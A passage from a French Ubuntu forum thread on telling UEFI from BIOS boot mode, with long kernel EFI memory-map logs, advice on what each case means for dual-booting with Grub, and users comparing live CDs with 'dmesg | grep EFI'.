[ 0.000000] EFI: mem29: type=3, attr=0xf, range=[0x000000003e952000-0x000000003e9d3000) (0MB)
[ 0.000000] EFI: mem30: type=5, attr=0x800000000000000f, range=[0x000000003e9d3000-0x000000003e9f6000) (0MB)
[ 0.000000] EFI: mem31: type=3, attr=0xf, range=[0x000000003e9f6000-0x000000003ea20000) (0MB)
[ 0.000000] EFI: mem32: type=5, attr=0x800000000000000f, range=[0x000000003ea20000-0x000000003ea35000) (0MB)
[ 0.000000] EFI: mem33: type=0, attr=0xf, range=[0x000000003ea35000-0x000000003ea36000) (0MB)
[ 0.000000] EFI: mem34: type=4, attr=0xf, range=[0x000000003ea36000-0x000000003eed3000) (4MB)
[ 0.000000] EFI: mem35: type=3, attr=0xf, range=[0x000000003eed3000-0x000000003eede000) (0MB)
[ 0.000000] EFI: mem36: type=4, attr=0xf, range=[0x000000003eede000-0x000000003f83f000) (9MB)
[ 0.000000] EFI: mem37: type=7, attr=0xf, range=[0x000000003f83f000-0x000000003f843000) (0MB)
[ 0.000000] EFI: mem38: type=3, attr=0xf, range=[0x000000003f843000-0x000000003f8be000) (0MB)
[ 0.000000] EFI: mem39: type=5, attr=0x800000000000000f, range=[0x000000003f8be000-0x000000003f8cc000) (0MB)
[ 0.000000] EFI: mem40: type=3, attr=0xf, range=[0x000000003f8cc000-0x000000003f913000) (0MB)
[ 0.000000] EFI: mem41: type=5, attr=0x800000000000000f, range=[0x000000003f913000-0x000000003f922000) (0MB)
[ 0.000000] EFI: mem42: type=3, attr=0xf, range=[0x000000003f922000-0x000000003f92f000) (0MB)
[ 0.000000] EFI: mem43: type=5, attr=0x800000000000000f, range=[0x000000003f92f000-0x000000003f933000) (0MB)
[ 0.000000] EFI: mem44: type=5, attr=0x800000000000000f, range=[0x000000003f933000-0x000000003f94f000) (0MB)
[ 0.000000] EFI: mem45: type=6, attr=0x800000000000000f, range=[0x000000003f94f000-0x000000003f985000) (0MB)
[ 0.000000] EFI: mem46: type=6, attr=0x800000000000000f, range=[0x000000003f985000-0x000000003f99f000) (0MB)
[ 0.000000] EFI: mem47: type=9, attr=0xf, range=[0x000000003f99f000-0x000000003f9b5000) (0MB)
[ 0.000000] EFI: mem48: type=9, attr=0xf, range=[0x000000003f9b5000-0x000000003f9bb000) (0MB)
[ 0.000000] EFI: mem49: type=10, attr=0xf, range=[0x000000003f9bb000-0x000000003f9bc000) (0MB)
[ 0.000000] EFI: mem50: type=10, attr=0xf, range=[0x000000003f9bc000-0x000000003f9bf000) (0MB)
[ 0.000000] EFI: mem51: type=4, attr=0xf, range=[0x000000003f9bf000-0x000000003fee0000) (5MB)
[ 0.000000] EFI: mem52: type=6, attr=0x800000000000000f, range=[0x000000003fee0000-0x000000003ff00000) (0MB)
[ 0.666999] fb0: EFI VGA frame buffer device
[ 1.083445] EFI Variables Facility v0.08 2004-May-17
A signaler : quand on est dans ce CAS 2, le live CD Ubuntu ne démarre pas comme habituellement. Il propose un menu Grub comme sur cette vue :
---------------------------------------------------------------------------------------------------------------------------------------------------------------
QU'EST-CE QU'ON EN FAIT ?
Si vous êtes dans le CAS 1, vous vous apprêtez à installer Ubuntu de façon classique. C'est sympa ? Pas forcément parce que ça dépend des goûts et des habitudes : si Windows est préinstallé en mode UEFI et que vous installez Ubuntu en mode Bios, il faudra passer par le "Bios" ( ou ce qui en tient lieu sur votre PC) pour passer par Ubuntu ou par Windows (pas de menu Grub proposant le dual-boot). C'est ce qui est arrivé à Ayu qui n'apprécie pas cette situation : http://forum.ubuntu-fr.org/viewtopic.php?id=738321
Si vous êtes dans le CAS 2, vous vous apprêtez à installer en mode UEFI. Je ne sais pas bien à l'heure actuelle (j'apprends) si le dual-boot géré par Grub sera possible dans tous les cas. Je veux dire qu'il faudra peut-être passer par le "Bios" pour certaines config ( ce qui n'est pas non plus une tragédie : il me semble que ces nouveaux "Bios" sont faits pour être vus et utilisés fréquemment alors que le vieux Bios était peu visité par le quidam ). Ce que je sais, c'est que la doc suivante ne vous concerne plus (vous allez utiliser grub-efi, pas grub-pc) : http://doc.ubuntu-fr.org/grub-pc
Et pleins d'autres doc du site - relatives au Bios - sont obsolètes pour vous. C'est le progrès.
Dernière modification par malbo (Le 30/10/2012, à 12:40)
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour,
Avec mon portable Asus, le livecd francophone 12.04 Desktop 64bits ne reconnait pas l'uefi, j'ai du utilisé le cd ubuntu.com.
Hors ligne
YannUbuntu
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour,
Avec mon portable Asus, le livecd francophone 12.04 Desktop 64bits ne reconnait pas l'uefi, j'ai du utilisé le cd ubuntu.com.
Bonjour
Pouvez-vous indiquer le résultat de "dmesg | grep EFI" saisi dans chacun des live-CD svp ?
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour,
en fait j'ai rebooter sur chacun des livecd, et la chose est plus subtile que je le pensais.
Avec le livecd francophe :
J'appuie sur ECHAP au démarrage pour avoir le bootmenu, dans la liste apparait entre autre P2:MASHITA........., que je sélectionne.
Le résultat de dmesg | grep EFI :
[ 4.832430] EFI Variables Facility v0.08 2004-May-17
Avec le livecd "original" :
J'appuie sur ECHAP au démarrage pour avoir le bootmenu, dans la liste apparait entre
- P2:MASHITA...... et
- UEFI P2:MASHITA.....
si je sélectionne le premier j'ai la même réponse à la commande dmesg.
Par contre si je sélectionne le second j'ai :
[ 0.000000] EFI v2.31 by American Megatrends
[ 0.000000] Kernel-defined memdesc doesn't match the one from EFI!
[ 0.000000] EFI: mem00: type=3, attr=0xf, range=[0x0000000000000000-0x0000000000008000) (0MB)
[ 0.000000] EFI: mem01: type=7, attr=0xf, range=[0x0000000000008000-0x000000000004e000) (0MB)
[ 0.000000] EFI: mem02: type=4, attr=0xf, range=[0x000000000004e000-0x0000000000060000) (0MB)
[ 0.000000] EFI: mem03: type=3, attr=0xf, range=[0x0000000000060000-0x000000000009f000) (0MB)
[ 0.000000] EFI: mem04: type=6, attr=0x800000000000000f, range=[0x000000000009f000-0x00000000000a0000) (0MB)
[ 0.000000] EFI: mem05: type=2, attr=0xf, range=[0x0000000000100000-0x00000000005b9000) (4MB)
[ 0.000000] EFI: mem06: type=7, attr=0xf, range=[0x00000000005b9000-0x0000000001000000) (10MB)
[ 0.000000] EFI: mem07: type=2, attr=0xf, range=[0x0000000001000000-0x0000000001100000) (1MB)
[ 0.000000] EFI: mem08: type=7, attr=0xf, range=[0x0000000001100000-0x0000000008000000) (111MB)
[ 0.000000] EFI: mem09: type=4, attr=0xf, range=[0x0000000008000000-0x0000000008837000) (8MB)
[ 0.000000] EFI: mem10: type=3, attr=0xf, range=[0x0000000008837000-0x0000000008839000) (0MB)
[ 0.000000] EFI: mem11: type=4, attr=0xf, range=[0x0000000008839000-0x0000000008882000) (0MB)
[ 0.000000] EFI: mem12: type=3, attr=0xf, range=[0x0000000008882000-0x0000000008886000) (0MB)
[ 0.000000] EFI: mem13: type=4, attr=0xf, range=[0x0000000008886000-0x000000000888b000) (0MB)
[ 0.000000] EFI: mem14: type=3, attr=0xf, range=[0x000000000888b000-0x000000000888c000) (0MB)
[ 0.000000] EFI: mem15: type=4, attr=0xf, range=[0x000000000888c000-0x000000000888e000) (0MB)
[ 0.000000] EFI: mem16: type=3, attr=0xf, range=[0x000000000888e000-0x000000000888f000) (0MB)
[ 0.000000] EFI: mem17: type=4, attr=0xf, range=[0x000000000888f000-0x0000000008892000) (0MB)
[ 0.000000] EFI: mem18: type=3, attr=0xf, range=[0x0000000008892000-0x00000000088a2000) (0MB)
[ 0.000000] EFI: mem19: type=4, attr=0xf, range=[0x00000000088a2000-0x0000000008ca5000) (4MB)
[ 0.000000] EFI: mem20: type=3, attr=0xf, range=[0x0000000008ca5000-0x0000000008ca6000) (0MB)
[ 0.000000] EFI: mem21: type=4, attr=0xf, range=[0x0000000008ca6000-0x0000000008caa000) (0MB)
[ 0.000000] EFI: mem22: type=3, attr=0xf, range=[0x0000000008caa000-0x0000000008cab000) (0MB)
[ 0.000000] EFI: mem23: type=4, attr=0xf, range=[0x0000000008cab000-0x0000000008cb0000) (0MB)
[ 0.000000] EFI: mem24: type=3, attr=0xf, range=[0x0000000008cb0000-0x0000000008cb1000) (0MB)
[ 0.000000] EFI: mem25: type=4, attr=0xf, range=[0x0000000008cb1000-0x0000000008cb2000) (0MB)
[ 0.000000] EFI: mem26: type=3, attr=0xf, range=[0x0000000008cb2000-0x0000000008cb5000) (0MB)
[ 0.000000] EFI: mem27: type=4, attr=0xf, range=[0x0000000008cb5000-0x0000000008cb7000) (0MB)
[ 0.000000] EFI: mem28: type=3, attr=0xf, range=[0x0000000008cb7000-0x0000000008cb8000) (0MB)
[ 0.000000] EFI: mem29: type=4, attr=0xf, range=[0x0000000008cb8000-0x0000000008cc4000) (0MB)
[ 0.000000] EFI: mem30: type=3, attr=0xf, range=[0x0000000008cc4000-0x0000000008cc8000) (0MB)
[ 0.000000] EFI: mem31: type=4, attr=0xf, range=[0x0000000008cc8000-0x0000000008cc9000) (0MB)
[ 0.000000] EFI: mem32: type=3, attr=0xf, range=[0x0000000008cc9000-0x0000000008cca000) (0MB)
[ 0.000000] EFI: mem33: type=4, attr=0xf, range=[0x0000000008cca000-0x0000000008cd6000) (0MB)
[ 0.000000] EFI: mem34: type=3, attr=0xf, range=[0x0000000008cd6000-0x0000000008cd9000) (0MB)
[ 0.000000] EFI: mem35: type=4, attr=0xf, range=[0x0000000008cd9000-0x0000000008cda000) (0MB)
[ 0.000000] EFI: mem36: type=3, attr=0xf, range=[0x0000000008cda000-0x0000000008cdc000) (0MB)
[ 0.000000] EFI: mem37: type=4, attr=0xf, range=[0x0000000008cdc000-0x0000000008cde000) (0MB)
[ 0.000000] EFI: mem38: type=3, attr=0xf, range=[0x0000000008cde000-0x0000000008cdf000) (0MB)
[ 0.000000] EFI: mem39: type=4, attr=0xf, range=[0x0000000008cdf000-0x0000000008cee000) (0MB)
[ 0.000000] EFI: mem40: type=3, attr=0xf, range=[0x0000000008cee000-0x0000000008cef000) (0MB)
[ 0.000000] EFI: mem41: type=4, attr=0xf, range=[0x0000000008cef000-0x0000000008cf7000) (0MB)
[ 0.000000] EFI: mem42: type=3, attr=0xf, range=[0x0000000008cf7000-0x0000000008cfb000) (0MB)
[ 0.000000] EFI: mem43: type=4, attr=0xf, range=[0x0000000008cfb000-0x0000000008d03000) (0MB)
[ 0.000000] EFI: mem44: type=3, attr=0xf, range=[0x0000000008d03000-0x0000000008d06000) (0MB)
[ 0.000000] EFI: mem45: type=4, attr=0xf, range=[0x0000000008d06000-0x0000000008d0b000) (0MB)
[ 0.000000] EFI: mem46: type=3, attr=0xf, range=[0x0000000008d0b000-0x0000000008d0c000) (0MB)
[ 0.000000] EFI: mem47: type=4, attr=0xf, range=[0x0000000008d0c000-0x0000000008d0e000) (0MB)
[ 0.000000] EFI: mem48: type=3, attr=0xf, range=[0x0000000008d0e000-0x0000000008d12000) (0MB)
[ 0.000000] EFI: mem49: type=4, attr=0xf, range=[0x0000000008d12000-0x0000000008d76000) (0MB)
[ 0.000000] EFI: mem50: type=3, attr=0xf, range=[0x0000000008d76000-0x0000000008d77000) (0MB)
[ 0.000000] EFI: mem51: type=4, attr=0xf, range=[0x0000000008d77000-0x0000000008d78000) (0MB)
[ 0.000000] EFI: mem52: type=3, attr=0xf, range=[0x0000000008d78000-0x0000000008d79000) (0MB)
[ 0.000000] EFI: mem53: type=4, attr=0xf, range=[0x0000000008d79000-0x0000000008d83000) (0MB)
[ 0.000000] EFI: mem54: type=3, attr=0xf, range=[0x0000000008d83000-0x0000000008d88000) (0MB)
[ 0.000000] EFI: mem55: type=4, attr=0xf, range=[0x0000000008d88000-0x0000000008d9e000) (0MB)
[ 0.000000] EFI: mem56: type=3, attr=0xf, range=[0x0000000008d9e000-0x0000000008d9f000) (0MB)
[ 0.000000] EFI: mem57: type=4, attr=0xf, range=[0x0000000008d9f000-0x0000000008da1000) (0MB)
[ 0.000000] EFI: mem58: type=3, attr=0xf, range=[0x0000000008da1000-0x0000000008dab000) (0MB)
[ 0.000000] EFI: mem59: type=4, attr=0xf, range=[0x0000000008dab000-0x0000000008dba000) (0MB)
[ 0.000000] EFI: mem60: type=3, attr=0xf, range=[0x0000000008dba000-0x0000000008dbe000) (0MB)
[ 0.000000] EFI: mem61: type=4, attr=0xf, range=[0x0000000008dbe000-0x0000000008dc8000) (0MB)
[ 0.000000] EFI: mem62: type=3, attr=0xf, range=[0x0000000008dc8000-0x0000000008dc9000) (0MB)
[ 0.000000] EFI: mem63: type=4, attr=0xf, range=[0x0000000008dc9000-0x0000000008dcd000) (0MB)
[ 0.000000] EFI: mem64: type=3, attr=0xf, range=[0x0000000008dcd000-0x0000000008dd3000) (0MB)
[ 0.000000] EFI: mem65: type=4, attr=0xf, range=[0x0000000008dd3000-0x0000000008ddd000) (0MB)
[ 0.000000] EFI: mem66: type=3, attr=0xf, range=[0x0000000008ddd000-0x0000000008de2000) (0MB)
[ 0.000000] EFI: mem67: type=4, attr=0xf, range=[0x0000000008de2000-0x0000000008de6000) (0MB)
[ 0.000000] EFI: mem68: type=3, attr=0xf, range=[0x0000000008de6000-0x0000000008dea000) (0MB)
[ 0.000000] EFI: mem69: type=4, attr=0xf, range=[0x0000000008dea000-0x0000000008df1000) (0MB)
[ 0.000000] EFI: mem70: type=3, attr=0xf, range=[0x0000000008df1000-0x0000000008df3000) (0MB)
[ 0.000000] EFI: mem71: type=4, attr=0xf, range=[0x0000000008df3000-0x0000000008df4000) (0MB)
[ 0.000000] EFI: mem72: type=3, attr=0xf, range=[0x0000000008df4000-0x0000000008dfa000) (0MB)
[ 0.000000] EFI: mem73: type=4, attr=0xf, range=[0x0000000008dfa000-0x0000000008dfb000) (0MB)
[ 0.000000] EFI: mem74: type=3, attr=0xf, range=[0x0000000008dfb000-0x0000000008dfd000) (0MB)
[ 0.000000] EFI: mem75: type=4, attr=0xf, range=[0x0000000008dfd000-0x0000000008e07000) (0MB)
[ 0.000000] EFI: mem76: type=3, attr=0xf, range=[0x0000000008e07000-0x0000000008e0c000) (0MB)
[ 0.000000] EFI: mem77: type=4, attr=0xf, range=[0x0000000008e0c000-0x0000000008e0d000) (0MB)
[ 0.000000] EFI: mem78: type=3, attr=0xf, range=[0x0000000008e0d000-0x0000000008e0e000) (0MB)
[ 0.000000] EFI: mem79: type=4, attr=0xf, range=[0x0000000008e0e000-0x0000000008e0f000) (0MB)
[ 0.000000] EFI: mem80: type=3, attr=0xf, range=[0x0000000008e0f000-0x0000000008e11000) (0MB)
[ 0.000000] EFI: mem81: type=4, attr=0xf, range=[0x0000000008e11000-0x0000000008e14000) (0MB)
[ 0.000000] EFI: mem82: type=3, attr=0xf, range=[0x0000000008e14000-0x0000000008e15000) (0MB)
[ 0.000000] EFI: mem83: type=4, attr=0xf, range=[0x0000000008e15000-0x0000000008e1a000) (0MB)
[ 0.000000] EFI: mem84: type=3, attr=0xf, range=[0x0000000008e1a000-0x0000000008e1c000) (0MB)
[ 0.000000] EFI: mem85: type=4, attr=0xf, range=[0x0000000008e1c000-0x0000000008e21000) (0MB)
[ 0.000000] EFI: mem86: type=3, attr=0xf, range=[0x0000000008e21000-0x0000000008e22000) (0MB)
[ 0.000000] EFI: mem87: type=4, attr=0xf, range=[0x0000000008e22000-0x0000000008e30000) (0MB)
[ 0.000000] EFI: mem88: type=3, attr=0xf, range=[0x0000000008e30000-0x0000000008e33000) (0MB)
[ 0.000000] EFI: mem89: type=4, attr=0xf, range=[0x0000000008e33000-0x0000000008e44000) (0MB)
[ 0.000000] EFI: mem90: type=3, attr=0xf, range=[0x0000000008e44000-0x0000000008e4e000) (0MB)
[ 0.000000] EFI: mem91: type=4, attr=0xf, range=[0x0000000008e4e000-0x0000000008e51000) (0MB)
[ 0.000000] EFI: mem92: type=3, attr=0xf, range=[0x0000000008e51000-0x0000000008e54000) (0MB)
[ 0.000000] EFI: mem93: type=4, attr=0xf, range=[0x0000000008e54000-0x0000000008e5f000) (0MB)
[ 0.000000] EFI: mem94: type=3, attr=0xf, range=[0x0000000008e5f000-0x0000000008e61000) (0MB)
[ 0.000000] EFI: mem95: type=4, attr=0xf, range=[0x0000000008e61000-0x0000000008e62000) (0MB)
[ 0.000000] EFI: mem96: type=3, attr=0xf, range=[0x0000000008e62000-0x0000000008e67000) (0MB)
[ 0.000000] EFI: mem97: type=4, attr=0xf, range=[0x0000000008e67000-0x0000000008e76000) (0MB)
[ 0.000000] EFI: mem98: type=3, attr=0xf, range=[0x0000000008e76000-0x0000000008e7c000) (0MB)
[ 0.000000] EFI: mem99: type=4, attr=0xf, range=[0x0000000008e7c000-0x0000000008e86000) (0MB)
[ 0.000000] EFI: mem100: type=3, attr=0xf, range=[0x0000000008e86000-0x0000000008e89000) (0MB)
[ 0.000000] EFI: mem101: type=4, attr=0xf, range=[0x0000000008e89000-0x0000000008e91000) (0MB)
[ 0.000000] EFI: mem102: type=3, attr=0xf, range=[0x0000000008e91000-0x0000000008e95000) (0MB)
[ 0.000000] EFI: mem103: type=4, attr=0xf, range=[0x0000000008e95000-0x0000000008eae000) (0MB)
[ 0.000000] EFI: mem104: type=3, attr=0xf, range=[0x0000000008eae000-0x0000000008eaf000) (0MB)
[ 0.000000] EFI: mem105: type=4, attr=0xf, range=[0x0000000008eaf000-0x0000000008eb4000) (0MB)
[ 0.000000] EFI: mem106: type=3, attr=0xf, range=[0x0000000008eb4000-0x0000000008ec7000) (0MB)
[ 0.000000] EFI: mem107: type=4, attr=0xf, range=[0x0000000008ec7000-0x0000000008ecd000) (0MB)
[ 0.000000] EFI: mem108: type=3, attr=0xf, range=[0x0000000008ecd000-0x0000000008ed0000) (0MB)
[ 0.000000] EFI: mem109: type=4, attr=0xf, range=[0x0000000008ed0000-0x0000000008ed6000) (0MB)
[ 0.000000] EFI: mem110: type=3, attr=0xf, range=[0x0000000008ed6000-0x0000000008ed8000) (0MB)
[ 0.000000] EFI: mem111: type=4, attr=0xf, range=[0x0000000008ed8000-0x0000000008ed9000) (0MB)
[ 0.000000] EFI: mem112: type=3, attr=0xf, range=[0x0000000008ed9000-0x0000000008edc000) (0MB)
[ 0.000000] EFI: mem113: type=4, attr=0xf, range=[0x0000000008edc000-0x0000000008ef5000) (0MB)
[ 0.000000] EFI: mem114: type=3, attr=0xf, range=[0x0000000008ef5000-0x0000000008ef6000) (0MB)
[ 0.000000] EFI: mem115: type=4, attr=0xf, range=[0x0000000008ef6000-0x0000000008f00000) (0MB)
[ 0.000000] EFI: mem116: type=3, attr=0xf, range=[0x0000000008f00000-0x0000000008f04000) (0MB)
[ 0.000000] EFI: mem117: type=4, attr=0xf, range=[0x0000000008f04000-0x0000000008f07000) (0MB)
[ 0.000000] EFI: mem118: type=3, attr=0xf, range=[0x0000000008f07000-0x0000000008f1b000) (0MB)
[ 0.000000] EFI: mem119: type=4, attr=0xf, range=[0x0000000008f1b000-0x0000000008f28000) (0MB)
[ 0.000000] EFI: mem120: type=3, attr=0xf, range=[0x0000000008f28000-0x0000000008f30000) (0MB)
[ 0.000000] EFI: mem121: type=4, attr=0xf, range=[0x0000000008f30000-0x0000000008f32000) (0MB)
[ 0.000000] EFI: mem122: type=3, attr=0xf, range=[0x0000000008f32000-0x0000000008f34000) (0MB)
[ 0.000000] EFI: mem123: type=4, attr=0xf, range=[0x0000000008f34000-0x0000000008f37000) (0MB)
[ 0.000000] EFI: mem124: type=3, attr=0xf, range=[0x0000000008f37000-0x0000000008f4c000) (0MB)
[ 0.000000] EFI: mem125: type=4, attr=0xf, range=[0x0000000008f4c000-0x0000000008f54000) (0MB)
[ 0.000000] EFI: mem126: type=3, attr=0xf, range=[0x0000000008f54000-0x0000000008f59000) (0MB)
[ 0.000000] EFI: mem127: type=4, attr=0xf, range=[0x0000000008f59000-0x0000000008f5a000) (0MB)
[ 0.000000] EFI: mem128: type=3, attr=0xf, range=[0x0000000008f5a000-0x0000000008f60000) (0MB)
[ 0.000000] EFI: mem129: type=4, attr=0xf, range=[0x0000000008f60000-0x0000000008f66000) (0MB)
[ 0.000000] EFI: mem130: type=3, attr=0xf, range=[0x0000000008f66000-0x0000000008f6d000) (0MB)
[ 0.000000] EFI: mem131: type=4, attr=0xf, range=[0x0000000008f6d000-0x0000000008f78000) (0MB)
[ 0.000000] EFI: mem132: type=3, attr=0xf, range=[0x0000000008f78000-0x0000000008f7a000) (0MB)
[ 0.000000] EFI: mem133: type=4, attr=0xf, range=[0x0000000008f7a000-0x0000000008f7c000) (0MB)
[ 0.000000] EFI: mem134: type=3, attr=0xf, range=[0x0000000008f7c000-0x0000000008f81000) (0MB)
[ 0.000000] EFI: mem135: type=4, attr=0xf, range=[0x0000000008f81000-0x0000000008f93000) (0MB)
[ 0.000000] EFI: mem136: type=3, attr=0xf, range=[0x0000000008f93000-0x0000000008f97000) (0MB)
[ 0.000000] EFI: mem137: type=4, attr=0xf, range=[0x0000000008f97000-0x0000000008f9c000) (0MB)
[ 0.000000] EFI: mem138: type=3, attr=0xf, range=[0x0000000008f9c000-0x0000000008fa8000) (0MB)
[ 0.000000] EFI: mem139: type=4, attr=0xf, range=[0x0000000008fa8000-0x0000000008fae000) (0MB)
[ 0.000000] EFI: mem140: type=3, attr=0xf, range=[0x0000000008fae000-0x0000000008fb7000) (0MB)
[ 0.000000] EFI: mem141: type=4, attr=0xf, range=[0x0000000008fb7000-0x0000000008fbb000) (0MB)
[ 0.000000] EFI: mem142: type=3, attr=0xf, range=[0x0000000008fbb000-0x0000000008fbc000) (0MB)
[ 0.000000] EFI: mem143: type=4, attr=0xf, range=[0x0000000008fbc000-0x0000000008fd9000) (0MB)
[ 0.000000] EFI: mem144: type=3, attr=0xf, range=[0x0000000008fd9000-0x0000000008fdb000) (0MB)
[ 0.000000] EFI: mem145: type=4, attr=0xf, range=[0x0000000008fdb000-0x0000000008fdc000) (0MB)
[ 0.000000] EFI: mem146: type=3, attr=0xf, range=[0x0000000008fdc000-0x0000000008fdd000) (0MB)
[ 0.000000] EFI: mem147: type=4, attr=0xf, range=[0x0000000008fdd000-0x0000000008fe6000) (0MB)
[ 0.000000] EFI: mem148: type=3, attr=0xf, range=[0x0000000008fe6000-0x0000000008fff000) (0MB)
[ 0.000000] EFI: mem149: type=4, attr=0xf, range=[0x0000000008fff000-0x0000000009028000) (0MB)
[ 0.000000] EFI: mem150: type=3, attr=0xf, range=[0x0000000009028000-0x000000000902f000) (0MB)
[ 0.000000] EFI: mem151: type=4, attr=0xf, range=[0x000000000902f000-0x0000000009030000) (0MB)
[ 0.000000] EFI: mem152: type=3, attr=0xf, range=[0x0000000009030000-0x0000000009079000) (0MB)
[ 0.000000] EFI: mem153: type=4, attr=0xf, range=[0x0000000009079000-0x000000000907b000) (0MB)
[ 0.000000] EFI: mem154: type=3, attr=0xf, range=[0x000000000907b000-0x00000000090a4000) (0MB)
[ 0.000000] EFI: mem155: type=4, attr=0xf, range=[0x00000000090a4000-0x00000000090a5000) (0MB)
[ 0.000000] EFI: mem156: type=3, attr=0xf, range=[0x00000000090a5000-0x00000000090af000) (0MB)
[ 0.000000] EFI: mem157: type=4, attr=0xf, range=[0x00000000090af000-0x00000000090b3000) (0MB)
[ 0.000000] EFI: mem158: type=3, attr=0xf, range=[0x00000000090b3000-0x00000000090d5000) (0MB)
[ 0.000000] EFI: mem159: type=4, attr=0xf, range=[0x00000000090d5000-0x00000000090d8000) (0MB)
[ 0.000000] EFI: mem160: type=3, attr=0xf, range=[0x00000000090d8000-0x0000000009101000) (0MB)
[ 0.000000] EFI: mem161: type=4, attr=0xf, range=[0x0000000009101000-0x0000000009102000) (0MB)
[ 0.000000] EFI: mem162: type=3, attr=0xf, range=[0x0000000009102000-0x0000000009118000) (0MB)
[ 0.000000] EFI: mem163: type=4, attr=0xf, range=[0x0000000009118000-0x0000000009129000) (0MB)
[ 0.000000] EFI: mem164: type=3, attr=0xf, range=[0x0000000009129000-0x000000000912a000) (0MB)
[ 0.000000] EFI: mem165: type=4, attr=0xf, range=[0x000000000912a000-0x000000000912b000) (0MB)
[ 0.000000] EFI: mem166: type=3, attr=0xf, range=[0x000000000912b000-0x000000000913e000) (0MB)
[ 0.000000] EFI: mem167: type=4, attr=0xf, range=[0x000000000913e000-0x0000000009146000) (0MB)
[ 0.000000] EFI: mem168: type=3, attr=0xf, range=[0x0000000009146000-0x0000000009150000) (0MB)
[ 0.000000] EFI: mem169: type=4, attr=0xf, range=[0x0000000009150000-0x0000000009154000) (0MB)
[ 0.000000] EFI: mem170: type=3, attr=0xf, range=[0x0000000009154000-0x00000000091dc000) (0MB)
[ 0.000000] EFI: mem171: type=4, attr=0xf, range=[0x00000000091dc000-0x00000000091de000) (0MB)
[ 0.000000] EFI: mem172: type=3, attr=0xf, range=[0x00000000091de000-0x00000000091df000) (0MB)
[ 0.000000] EFI: mem173: type=4, attr=0xf, range=[0x00000000091df000-0x00000000091e2000) (0MB)
[ 0.000000] EFI: mem174: type=3, attr=0xf, range=[0x00000000091e2000-0x00000000091e3000) (0MB)
[ 0.000000] EFI: mem175: type=4, attr=0xf, range=[0x00000000091e3000-0x00000000091f6000) (0MB)
[ 0.000000] EFI: mem176: type=3, attr=0xf, range=[0x00000000091f6000-0x00000000091fc000) (0MB)
[ 0.000000] EFI: mem177: type=4, attr=0xf, range=[0x00000000091fc000-0x00000000091fd000) (0MB)
[ 0.000000] EFI: mem178: type=3, attr=0xf, range=[0x00000000091fd000-0x00000000091ff000) (0MB)
[ 0.000000] EFI: mem179: type=4, attr=0xf, range=[0x00000000091ff000-0x0000000009204000) (0MB)
[ 0.000000] EFI: mem180: type=3, attr=0xf, range=[0x0000000009204000-0x000000000920a000) (0MB)
[ 0.000000] EFI: mem181: type=4, attr=0xf, range=[0x000000000920a000-0x0000000009242000) (0MB)
[ 0.000000] EFI: mem182: type=3, attr=0xf, range=[0x0000000009242000-0x0000000009248000) (0MB)
[ 0.000000] EFI: mem183: type=4, attr=0xf, range=[0x0000000009248000-0x000000000924f000) (0MB)
[ 0.000000] EFI: mem184: type=3, attr=0xf, range=[0x000000000924f000-0x0000000009262000) (0MB)
[ 0.000000] EFI: mem185: type=4, attr=0xf, range=[0x0000000009262000-0x000000000928d000) (0MB)
[ 0.000000] EFI: mem186: type=3, attr=0xf, range=[0x000000000928d000-0x000000000928f000) (0MB)
[ 0.000000] EFI: mem187: type=4, attr=0xf, range=[0x000000000928f000-0x0000000009291000) (0MB)
[ 0.000000] EFI: mem188: type=3, attr=0xf, range=[0x0000000009291000-0x0000000009293000) (0MB)
[ 0.000000] EFI: mem189: type=4, attr=0xf, range=[0x0000000009293000-0x000000000929a000) (0MB)
[ 0.000000] EFI: mem190: type=3, attr=0xf, range=[0x000000000929a000-0x00000000092a7000) (0MB)
[ 0.000000] EFI: mem191: type=4, attr=0xf, range=[0x00000000092a7000-0x00000000092b5000) (0MB)
[ 0.000000] EFI: mem192: type=3, attr=0xf, range=[0x00000000092b5000-0x00000000092e3000) (0MB)
[ 0.000000] EFI: mem193: type=4, attr=0xf, range=[0x00000000092e3000-0x00000000092ec000) (0MB)
[ 0.000000] EFI: mem194: type=3, attr=0xf, range=[0x00000000092ec000-0x00000000092ef000) (0MB)
[ 0.000000] EFI: mem195: type=4, attr=0xf, range=[0x00000000092ef000-0x0000000012b46000) (152MB)
[ 0.000000] EFI: mem196: type=7, attr=0xf, range=[0x0000000012b46000-0x0000000012b4a000) (0MB)
[ 0.000000] EFI: mem197: type=2, attr=0xf, range=[0x0000000012b4a000-0x0000000012b4c000) (0MB)
[ 0.000000] EFI: mem198: type=7, attr=0xf, range=[0x0000000012b4c000-0x0000000012d14000) (1MB)
[ 0.000000] EFI: mem199: type=4, attr=0xf, range=[0x0000000012d14000-0x0000000012d18000) (0MB)
[ 0.000000] EFI: mem200: type=7, attr=0xf, range=[0x0000000012d18000-0x0000000012d20000) (0MB)
[ 0.000000] EFI: mem201: type=4, attr=0xf, range=[0x0000000012d20000-0x0000000012d55000) (0MB)
[ 0.000000] EFI: mem202: type=7, attr=0xf, range=[0x0000000012d55000-0x0000000012dbd000) (0MB)
[ 0.000000] EFI: mem203: type=1, attr=0xf, range=[0x0000000012dbd000-0x0000000012e25000) (0MB)
[ 0.000000] EFI: mem204: type=7, attr=0xf, range=[0x0000000012e25000-0x0000000012e40000) (0MB)
[ 0.000000] EFI: mem205: type=4, attr=0xf, range=[0x0000000012e40000-0x0000000012fbc000) (1MB)
[ 0.000000] EFI: mem206: type=3, attr=0xf, range=[0x0000000012fbc000-0x0000000012fbd000) (0MB)
[ 0.000000] EFI: mem207: type=4, attr=0xf, range=[0x0000000012fbd000-0x0000000012fc0000) (0MB)
[ 0.000000] EFI: mem208: type=3, attr=0xf, range=[0x0000000012fc0000-0x0000000012fc3000) (0MB)
[ 0.000000] EFI: mem209: type=4, attr=0xf, range=[0x0000000012fc3000-0x0000000013142000) (1MB)
[ 0.000000] EFI: mem210: type=3, attr=0xf, range=[0x0000000013142000-0x0000000013152000) (0MB)
[ 0.000000] EFI: mem211: type=4, attr=0xf, range=[0x0000000013152000-0x0000000013198000) (0MB)
[ 0.000000] EFI: mem212: type=3, attr=0xf, range=[0x0000000013198000-0x000000001319c000) (0MB)
[ 0.000000] EFI: mem213: type=4, attr=0xf, range=[0x000000001319c000-0x000000001342d000) (2MB)
